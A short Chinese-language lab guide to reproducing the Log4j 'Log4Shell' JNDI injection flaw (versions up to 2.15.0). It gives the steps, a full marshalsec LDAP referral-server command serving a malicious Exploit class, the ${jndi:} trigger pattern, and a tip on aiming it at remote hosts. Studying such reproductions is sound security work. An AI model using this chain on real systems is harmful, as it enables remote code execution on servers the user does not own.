Apache Log4j 2.x <= 2.15.0
1、創建一個新的maven項目,並導入Log4j的依賴包,如圖:
2、創建測試類 LogTest
3、創建惡意腳本類 Exploit.java
4、將Exploit.java編譯成Exploit.class
5、下載marshalsec-0.0.3-SNAPSHOT-all.jar
6、將Exploit.class和marshalsec-0.0.3-SNAPSHOT-all.jar移動到同一目錄test文件夾下
5、進去test文件夾,執行以下命令,本地開啓一個LDAP服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8877
6、運行LogTest的main方法
7、如果彈出計算器,則漏洞復現成功,如圖
原理:log4j檢測到logMessage包含${jndi:xxx}後,就回通過JndiManager.lookup()->InitialContext.lookup()->serializer.toSerializable(),向ldap服務器請求class字節碼後,加載到jvm中,也就會造成上邊惡意代碼塊的執行
注:如若測試遠程服務,將本地ip:192.168.1.66換成域名即可